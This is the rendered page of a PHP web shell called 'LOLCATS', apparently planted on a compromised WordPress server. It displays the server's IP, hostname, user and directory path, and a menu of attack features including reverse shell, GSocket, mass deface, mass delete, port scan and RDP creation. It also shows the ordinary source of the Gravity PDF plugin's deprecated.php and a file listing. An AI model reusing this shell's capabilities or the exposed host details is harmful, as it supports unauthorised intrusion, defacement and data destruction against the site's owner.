LOLCATS

: /home/laayouneinvest/public_html/recette/wp-content/--plugins/gravity-forms-pdf-extended/src/ [ drwxr-xr-x ]

Information Server

System: Linux vps-b28f2ea9.vps.ovh.net 4.18.0-425.13.1.el8_7.x86_64 #1 SMP Tue Feb 21 04:20:52 EST 2023 x86_64
Software: Apache
PHP Version: 7.4.33 PHP Os: Linux
Server IP: 162.19.66.217
Your IP: 216.73.216.223
User: laayouneinvest [1001] | Group: [laayouneinvest] [1003]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

exec,passthru,shell_exec,system

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: deprecated.php

<?php

/* For backwards compatibility reasons this file will be in the global namespace */

use GFPDF\Helper\Fields\Field_V3_Products;
use GFPDF\Helper\Helper_Mpdf;
use GFPDF\Statics\Kses;
use GFPDF_Vendor\Mpdf\Config\FontVariables;
use GFPDF_Vendor\Mpdf\MpdfException;

/*
 * Deprecated Functionality / Classes
 *
 * @phpcs:disable Generic.Files.OneObjectStructurePerFile.MultipleFound
 */

/**
 * @package     Gravity PDF
 * @copyright   Copyright (c) 2023, Blue Liquid Designs
 * @license     http://opensource.org/licenses/gpl-2.0.php GNU Public License
 */

/* Exit if accessed directly */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Add's an easy deprecated class abstract fallback
 *
 * @since 4.0
 */
abstract class GFPDF_Deprecated_Abstract {

/**
	 * Add user deprecated notice for missing methods
	 *
	 * @param string $name      The function name to be called
	 * @param array  $arguments An enumerated array containing the parameters passed to the $name'ed method
	 *
	 * @since  4.0
	 *
	 */
	public function __call( $name, $arguments ) {
		_doing_it_wrong( esc_html( $name ), esc_html( sprintf( __( '"%s" has been deprecated as of Gravity PDF 4.0', 'gravity-forms-pdf-extended' ), $name ) ), '4.0' );
	}

/**
	 * Add user deprecated notice for missing methods
	 *
	 * @param string $name      The function name to be called
	 * @param array  $arguments An enumerated array containing the parameters passed to the $name'ed method
	 *
	 * @since  4.0
	 *
	 */
	public static function __callStatic( $name, $arguments ) {
		_doing_it_wrong( esc_html( $name ), esc_html( sprintf( __( '"%s" has been deprecated as of Gravity PDF 4.0', 'gravity-forms-pdf-extended' ), $name ) ), '4.0' );
	}
}

/**
 * Add backwards compatibility support for our main core class
 *
 * @since 3.0
 */
class GFPDF_Core extends GFPDF_Deprecated_Abstract {

/**
	 * Setup our v3 template location constants
	 *
	 * @since 4.0
	 */
	public function setup_constants() {

$data      = GPDFAPI::get_data_class();
		$templates = GPDFAPI::get_templates_class();

if ( ! defined( 'PDF_SAVE_LOCATION' ) ) {
			define( 'PDF_SAVE_LOCATION', $data->template_tmp_location );
		}

if ( ! defined( 'PDF_FONT_LOCATION' ) ) {
			define( 'PDF_FONT_LOCATION', $data->template_font_location );
		}

if ( ! defined( 'PDF_TEMPLATE_LOCATION' ) ) {
			define( 'PDF_TEMPLATE_LOCATION', $templates->get_template_path() );
		}

if ( ! defined( 'PDF_TEMPLATE_URL_LOCATION' ) ) {
			define( 'PDF_TEMPLATE_URL_LOCATION', $templates->get_template_url() );
		}
	}

/**
	 * Create aliases of our template path and URLs to match v3
	 *
	 * @since 4.0
	 */
	public function setup_deprecated_paths() {
		global $gfpdfe_data;

$templates = GPDFAPI::get_templates_class();

$gfpdfe_data                         = GPDFAPI::get_data_class();
		$gfpdfe_data->template_site_location = $templates->get_template_url();
		$gfpdfe_data->template_save_location = $gfpdfe_data->template_tmp_location;
	}
}

/**
 * Add backwards compatibility support for our PDF generator
 *
 * @since 3.0
 */
class PDFRender extends GFPDF_Deprecated_Abstract {

/**
	 * Saves the PDF to disk
	 *
	 * @param string  $raw_pdf_string
	 * @param string  $filename
	 * @param integer $id
	 *
	 * @return string Returns the path to the file
	 *
	 * @throws Exception
	 *
	 * @since 3.0
	 */
	public function savePDF( $raw_pdf_string, $filename, $id ) {

/* create our path */
		$path = apply_filters( 'gfpdf_legacy_save_path', PDF_SAVE_LOCATION . $id . '/', $filename, $id );
		if ( ! is_dir( $path ) ) {
			if ( ! wp_mkdir_p( $path ) ) {
				throw new Exception( sprintf( 'Could not create directory: %s' ), esc_html( $path ) );
			}
		}

/* save our PDF */
		if ( ! file_put_contents( $path . $filename, $raw_pdf_string ) ) {
			throw new Exception( sprintf( 'Could not save PDF: %s', $path . $filename ) );
		}

/* return the path to the PDF */

return $path . $filename;
	}

/**
	 * Handles backwards compatibility support for our Tier 2 add on
	 *
	 * @param integer $form_id   The Gravity Form ID
	 * @param integer $lead_id   The Gravity Form Entry ID
	 * @param string  $template  The PDF template name
	 * @param integer $id        The spliced form ID and entry ID
	 * @param string  $output    The PDF output method
	 * @param string  $filename  The PDF filename
	 * @param array   $arguments The v3 arguments that get passed to the template
	 * @param array   $args      The v4 arguments that get passed to the template
	 *
	 * @return integer The Gravity Form ID
	 * @since 4.0
	 *
	 */
	public static function prepare_ids( $form_id, $lead_id, $template, $id, $output, $filename, $arguments, $args ) {
		global $lead_ids;
		$lead_ids = $args['lead_ids'];

return $form_id;
	}
}

/**
 * Add backwards compatibility support for our common class
 *
 * @since 3.0
 */
class PDF_Common extends GFPDF_Deprecated_Abstract {

/**
	 * Takes over for setup_ids() but is now called much earlier in the process
	 *
	 * @return boolean
	 *
	 * @since 4.0
	 */
	public static function get_ids() {
		global $form_id, $lead_id, $lead_ids;

$form_id  = (int) $form_id ?: (int) rgget( 'fid' );
		$lead_ids = ( $lead_id ) ? [ (int) $lead_id ] : array_filter( array_map( 'intval', explode( ',', rgget( 'lid' ) ) ) );

/* If form ID and lead ID hasn't been set stop the PDF from attempting to generate */
		if ( empty( $form_id ) || empty( $lead_ids ) ) {
			return false;
		}

return true;
	}

/**
	 * Get the base upload directory details
	 *
	 * @return array
	 *
	 * @since 3.0
	 */
	public static function get_upload_dir() {
		$misc = GPDFAPI::get_misc_class();

return $misc->get_upload_details();
	}

/**
	 * Convert merge tags to real Gravity Form values
	 *
	 * @param string  $string
	 * @param integer $form_id
	 * @param integer $lead_id
	 *
	 * @return string
	 *
	 * @since 3.0
	 */
	public static function do_mergetags( $string, $form_id, $lead_id ) {
		$gform = GPDFAPI::get_form_class();

return $gform->process_tags( $string, $gform->get_form( $form_id ), $gform->get_entry( $lead_id ) );
	}

/**
	 * Allow users to view the $form_data array, if it exists
	 *
	 * @param array $form_data
	 *
	 * @since 4.0
	 */
	public static function view_data( $form_data ) {
		$pdf_view = \GPDFAPI::get_pdf_class();
		$pdf_view->maybe_view_form_data( $form_data );
	}

/**
	 * Get $_POST key, or return nothing
	 *
	 * @param string $name Key Name
	 *
	 * @return string
	 *
	 * @since 3.0
	 */
	public static function post( $name ) {
		/* phpcs:ignore WordPress.Security.NonceVerification.Missing */
		if ( isset( $_POST[ $name ] ) ) {
			/* phpcs:ignore WordPress.Security.NonceVerification.Missing */
			return $_POST[ $name ];
		}

return '';
	}

/**
	 * Get $_GET key, or return nothing
	 *
	 * @param string $name Key Name
	 *
	 * @return string
	 *
	 * @since 3.0
	 */
	public static function get( $name ) {
		/* phpcs:ignore WordPress.Security.NonceVerification.Recommended */
		if ( isset( $_GET[ $name ] ) ) {
			/* phpcs:ignore WordPress.Security.NonceVerification.Recommended */
			return $_GET[ $name ];
		}

return '';
	}

/**
	 * Get the name of the PDF based on the Form and the submission
	 *
	 * @param integer $form_id
	 * @param integer $lead_id
	 *
	 * @return string
	 *
	 * @since 3.0
	 */
	public static function get_pdf_filename( $form_id, $lead_id ) {
		return "form-$form_id-entry-$lead_id.pdf";
	}

/**
	 * Remove any characters that are invalid in filenames (mostly on Windows systems)
	 *
	 * @param string $name The string / name to process
	 *
	 * @return string
	 *
	 * @since 4.0
	 */
	public static function remove_invalid_characters( $name ) {
		$misc = GPDFAPI::get_misc_class();

return $misc->strip_invalid_characters( $name );
	}

/**
	 * Prevent deprecated warning for legacy Tier 2 templates
	 *
	 * @since 3.0
	 */
	public static function setup_ids() {
	}
}

/**
 * Add deprecated functionality for generating our standard PDF HTML
 *
 * @since 3.0
 */
class GFPDFEntryDetail extends GFPDF_Deprecated_Abstract {

/**
	 * First legacy wrapper to generate our PDF HTML layout
	 *
	 * @param array   $form The Gravity Form array
	 * @param array   $lead The Gravity Form entry
	 * @param boolean $allow_display_empty_fields
	 * @param boolean $show_html
	 * @param boolean $show_page_name
	 * @param boolean $return
	 *
	 * @return string  If $return is `true` the generated HTML will be returned
	 *
	 * @throws Exception
	 * @since 3.0
	 */
	public static function lead_detail_grid( $form, $lead, $allow_display_empty_fields = false, $show_html = false, $show_page_name = false, $return = false ) {
		$config = [
			'meta' => [
				'empty_field' => $allow_display_empty_fields,
				'return'      => $return,
				'html_field'  => $show_html,
				'page_names'  => $show_page_name,
			],
		];

return self::do_lead_detail_grid( $form, $lead, $config );
	}

/**
	 * Second legacy wrapper to generate our PDF HTML layout
	 *
	 * @param array $form   The Gravity Form array
	 * @param array $lead   The Gravity Form entry
	 * @param array $config The PDF Configuration
	 *
	 * @return string        If $config['meta']['echo'] is false the HTML will be returned
	 *
	 * @throws Exception
	 * @since 3.7
	 */
	public static function do_lead_detail_grid( $form, $lead, $config = [] ) {

/* Convert old config values to our new ones */
		if ( ! isset( $config['meta'] ) ) {
			$config = [ 'meta' => $config ];
		}

return self::generate_v3_html_structure( $form, $lead, $config['meta'] );
	}

/**
	 * Loop through our form and output the results
	 *
	 * @param array $form   The Gravity Form array
	 * @param array $lead   The Gravity Form entry
	 * @param array $config The PDF Configuration
	 *
	 * @return array|void
	 *
	 * @throws Exception
	 * @since 4.0
	 */
	public static function generate_v3_html_structure( $form, $lead, $config ) {

/* Setup our variables */
		$model        = GPDFAPI::get_mvc_class( 'Model_PDF' );
		$products     = new Field_V3_Products( new GF_Field(), $lead, GPDFAPI::get_form_class(), GPDFAPI::get_misc_class() );
		$has_products = false;
		$page_number  = 0;

/* Change the standardised HTML field output to be v3 compatible */
		add_filter( 'gfpdf_field_html_value', [ 'GFPDFEntryDetail', 'legacy_html_format' ], 10, 5 );
		add_filter( 'gfpdf_field_class', [ 'GFPDFEntryDetail', 'load_legacy_html_classes' ], 10, 3 );

/* Setup field to return the form data, if needed */
		$results = [
			'title' => '',
			'field' => [],
		];

/* Output the form title */
		if ( isset( $config['return'] ) && $config['return'] ) {
			$results['title'] = '<h2 id="details" class="default">' . esc_html( $form['title'] ) . '</h2>';
		} else {
			?>
			<div id='container'>
			<h2 id='details' class='default'><?php echo esc_html( $form['title'] ); ?></h2>
			<?php
		}

/* Loop through our fields and output */
		foreach ( $form['fields'] as $field ) {

/* Skip any fields with the css class 'exclude' or any hidden fields */
			if ( strpos( $field->cssClass, 'exclude' ) !== false || GFFormsModel::is_field_hidden( $form, $field, [], $lead ) ) {
				continue;
			}

/* Skip over any product fields, if needed */
			if ( GFCommon::is_product_field( $field->type ) ) {
				$has_products = true;
				continue;
			}

/* Check if we should display the page names */
			if ( $config['page_names'] === true && (int) $field->pageNumber !== $page_number && isset( $form['pagination']['pages'][ $page_number ] ) ) {
				if ( isset( $config['return'] ) && $config['return'] ) {
					$results['field'][] = '<h2 id="field-' . esc_attr( $field->id ) . '" class="default entry-view-page-break">' . esc_html( $form['pagination']['pages'][ $page_number ] ) . '</h2>';
				} else {
					?>
					<h2 id="field-<?php echo esc_attr( $field->id ); ?>"
						class="default entry-view-page-break"><?php echo esc_attr( $form['pagination']['pages'][ $page_number ] ); ?></h2>
					<?php
				}
				$page_number++;
			}

/* Output each field type */
			$input    = RGFormsModel::get_input_type( $field );
			$excluded = [ 'captcha', 'password', 'page' ];

/* Skip over any fields we don't want to include */
			if ( in_array( $input, $excluded, true ) ) {
				continue;
			}

/** @var \GFPDF\Helper\Helper_Abstract_Fields $class */
			$class = $model->get_field_class( $field, $form, $lead, $products );

self::load_legacy_css( $field );

/* Check if HTML field should be included */
			if ( $input === 'html' ) {

if ( $config['html_field'] === true ) {

if ( isset( $config['return'] ) && $config['return'] ) {
						$results['field'][] = $class->html();
					} else {
						$class->enable_output();
						$class->html();
					}
				}

continue;
			}

/* Only load our HTML if the field is NOT empty, or the 'empty_field' config option is true */
			if ( $config['empty_field'] === true || ! $class->is_empty() ) {
				if ( isset( $config['return'] ) && $config['return'] ) {
					$results['field'][] = $field->type !== 'section' ? $class->html() : $class->html( $config['section_content'] );
				} else {
					$class->enable_output();
					$field->type !== 'section' ? $class->html() : $class->html( $config['section_content'] ?? false );
				}
			}
		}

/* Output product table, if needed */
		if ( $has_products && ! $products->is_empty() ) {
			if ( $config['return'] ) {
				$results['field'][] = $products->html();
			} else {
				$products->enable_output();
				$products->html();
			}
		}

/* Return the HTML structure */
		if ( isset( $config['return'] ) && $config['return'] ) {
			return $results;
		} else {
			?>
			</div>
			<?php
		}
	}

/**
	 * Replaces the v4 HTML structure with the legacy v3 code to prevent backwards compatibility problems
	 *
	 * @param string  $html  The original field HTML which we'll be discarding
	 * @param string  $value The field value
	 * @param boolean $show_label
	 * @param boolean $label Whether to show or hide the field's label
	 * @param object  $field
	 *
	 * @return string
	 *
	 * @since 4.0
	 */
	public static function legacy_html_format( $html, $value, $show_label, $label, $field ) {

$html = '<div id="' . esc_attr( 'field-' . $field->id ) . '" class="' . esc_attr( $field->cssClass ) . '">';

if ( $show_label ) {
			$html .= '<div class="strong">' . Kses::parse( $label ) . '</div>';
		}

/* If the field value is empty we'll add a non-breaking space to act like a character and maintain proper layout */
		if ( strlen( trim( $value ) ) === 0 ) {
			$value = '&nbsp;';
		}

$html .= '<div class="value">' . Kses::parse( $value ) . '</div>'
				 . '</div>';

return $html;
	}

/**
	 * Replace some of our Gravity PDF fields with legacy versions to match the old HTML structure
	 *
	 * @param object $class The original Gravity PDF field class being processed
	 * @param object $field The Gravity Form field object being processed
	 * @param array  $entry The current Gravity Form array of entry data
	 *
	 * @return object
	 *
	 * @throws Exception
	 * @since 4.0
	 */
	public static function load_legacy_html_classes( $class, $field, $entry ) {

switch ( get_class( $field ) ) {
			case 'GF_Field_Section':
				$class = new GFPDF\Helper\Fields\Field_V3_Section( $field, $entry, GPDFAPI::get_form_class(), GPDFAPI::get_misc_class() );
				break;

case 'GF_Field_List':
				$class = new GFPDF\Helper\Fields\Field_V3_List( $field, $entry, GPDFAPI::get_form_class(), GPDFAPI::get_misc_class() );
				break;
		}

return $class;
	}

/**
	 * Our default template used a number of legacy classes.
	 * To keep backwards compatible, we will manually assign when needed.
	 *
	 * @param GF_Field $field The Gravity Form Fields
	 *
	 * @return void (classes are passed by reference)
	 *
	 * @since 4.0
	 */
	public static function load_legacy_css( GF_Field $field ) {
		static $counter = 1;

/* Because multiple PDFs can be processed at the same time and will share the same field classes we'll only update the css once */
		if ( strpos( $field->cssClass, 'gfpdf-field-processed' ) !== false ) {
			return;
		}

/* Add odd / even rows */
		$field->cssClass = ( $counter % 2 ) ? $field->cssClass . ' odd' : ' even';

switch ( $field->type ) {
			case 'html':
				$field->cssClass .= ' entry-view-html-value';
				break;

case 'section':
				$field->cssClass .= ' entry-view-section-break-content';
				break;

default:
				$field->cssClass .= ' entry-view-field-value';
				break;
		}

$field->cssClass .= ' gfpdf-field-processed';

$counter++;
	}

/**
	 * Get the $form_data array
	 *
	 * @param array $form The Gravity Form array
	 * @param array $lead The Gravity Form entry
	 *
	 * @return array
	 *
	 * @since 3.0
	 */
	public static function lead_detail_grid_array( $form, $lead ) {
		$model = GPDFAPI::get_pdf_class( 'model' );

return $model->get_form_data( $lead );
	}

/**
	 * Generate a standard Gravity Forms product table based on the form / entry data
	 *
	 * @param array $form The Gravity Form array
	 * @param array $lead The Gravity Form entry
	 *
	 * @return void
	 *
	 * @since 3.0
	 */
	public static function product_table( $form, $lead ) {
		GPDFAPI::product_table( $lead );
	}

/**
	 * Public method for outputting likert (survey addon field)
	 *
	 * @param array   $form     The Gravity Form array
	 * @param array   $lead     The Gravity Form entry
	 * @param integer $field_id The field ID to output
	 *
	 * @return string
	 *
	 * @since 3.0
	 */
	public static function get_likert( $form, $lead, $field_id ) {
		return GPDFAPI::likert_table( $lead, $field_id, true );
	}
}

/**
 * Classes included for backwards compatibility
 *
 * @since 3.0
 */
class PDFGenerator extends GFPDF_Deprecated_Abstract {
}

class GFPDFE_DATA extends GFPDF_Deprecated_Abstract {
}

class GFPDF_InstallUpdater extends GFPDF_Deprecated_Abstract {
}

class GFPDF_Notices extends GFPDF_Deprecated_Abstract {
}

class PDF_Generator extends GFPDF_Deprecated_Abstract {
}

class GFPDF_Core_Model extends GFPDF_Deprecated_Abstract {

/**
	 * This method will save any PDFs assigned to a form to disk
	 *
	 * @param $entry
	 * @param $form
	 *
	 * @since 3.0
	 */
	public static function gfpdfe_save_pdf( $entry, $form ) {
		$pdfs = GPDFAPI::get_form_pdfs( $form['id'] );

if ( ! is_wp_error( $pdfs ) ) {
			foreach ( $pdfs as $pdf ) {
				GPDFAPI::create_pdf( $entry['id'], $pdf['id'] );
			}
		}
	}
}

class GFPDF_Settings_Model extends GFPDF_Deprecated_Abstract {
}

class GFPDF_Settings extends GFPDF_Deprecated_Abstract {
}

if ( ! class_exists( 'mPDF' ) ) {

if ( ! defined( 'AUTOFONT_ALL' ) ) {
		define( 'AUTOFONT_ALL', 1 );
	}

/**
	 * Class mPDF
	 *
	 * Allow our legacy software to still function even though the \mPDF class no longer exists (see \GFPDF_Vendor\Mpdf\Mpdf)
	 *
	 * @since 5.0
	 * phpcs:disable PEAR.NamingConventions.ValidClassName.StartWithCapital
	 */
	class mPDF {
		/* phpcs:enable */
		protected $mpdf;

/**
		 * mPDF constructor.
		 *
		 * @param string $mode
		 * @param string $format
		 * @param int    $default_font_size
		 * @param string $default_font
		 * @param int    $mgl
		 * @param int    $mgr
		 * @param int    $mgt
		 * @param int    $mgb
		 * @param int    $mgh
		 * @param int    $mgf
		 * @param string $orientation
		 *
		 * @throws MpdfException
		 * @since 5.0
		 */
		public function __construct( $mode = '', $format = 'A4', $default_font_size = 0, $default_font = '', $mgl = 15, $mgr = 15, $mgt = 16, $mgb = 16, $mgh = 9, $mgf = 9, $orientation = 'P' ) {

$data                = GPDFAPI::get_data_class();
			$default_font_config = ( new FontVariables() )->getDefaults();

$this->mpdf = new Helper_Mpdf(
				[
					'fontDir'                => [
						$data->template_font_location,
					],

'fontdata'               => apply_filters( 'mpdf_font_data', $default_font_config['fontdata'] ),

'tempDir'                => $data->mpdf_tmp_location,

'curlCaCertificate'      => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
					'curlFollowLocation'     => true,

'allow_output_buffering' => true,
					'autoLangToFont'         => true,
					'useSubstitutions'       => true,
					'ignore_invalid_utf8'    => true,
					'setAutoTopMargin'       => 'stretch',
					'setAutoBottomMargin'    => 'stretch',
					'enableImports'          => true,
					'use_kwt'                => true,
					'keepColumns'            => true,
					'biDirectional'          => true,
					'showWatermarkText'      => true,

'format'                 => $format,
					'orientation'            => $orientation,

'margin_left'            => $mgl,
					'margin_top'             => $mgt,
					'margin_right'           => $mgr,
					'margin_bottom'          => $mgb,
					'margin_header'          => $mgh,
					'margin_footer'          => $mgf,
					'default_font_size'      => $default_font_size,
					'default_font'           => $default_font,
					'mode'                   => $mode,
				]
			);
		}

/**
		 * Allow the relaying of method calls to the new Mpdf class
		 *
		 * @param $name
		 * @param $arguments
		 *
		 * @return mixed
		 *
		 * @since 5.0
		 */
		public function __call( $name, $arguments ) {
			if ( is_callable( [ $this->mpdf, $name ] ) ) {
				return call_user_func_array( [ $this->mpdf, $name ], $arguments );
			}
		}

/**
		 * Allow the relaying of property calls to the new Mpdf class
		 *
		 * @param $name
		 *
		 * @return mixed
		 *
		 * @since 5.1.2
		 */
		public function __get( $name ) {
			if ( property_exists( $this->mpdf, $name ) ) {
				return $this->mpdf->{$name};
			}

return null;
		}

/**
		 * @param int $type
		 *
		 * @Internal Removed from Mpdf v7
		 *
		 * @since    5.0
		 */
		public function SetAutoFont( $type = 0 ) {
			$this->mpdf->autoLangToFont   = $type === 1;
			$this->mpdf->autoScriptToLang = $type === 1;
		}
	}
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
autoload.php	f!le	2024-02-08 11:02	607 B	laayouneinvest / laayouneinvest	-rw-r--r--
bootstrap.php	f!le	2024-02-08 11:02	24.74 KB	laayouneinvest / laayouneinvest	-rw-r--r--
deprecated.php	f!le	2024-02-08 11:02	21.32 KB	laayouneinvest / laayouneinvest	-rw-r--r--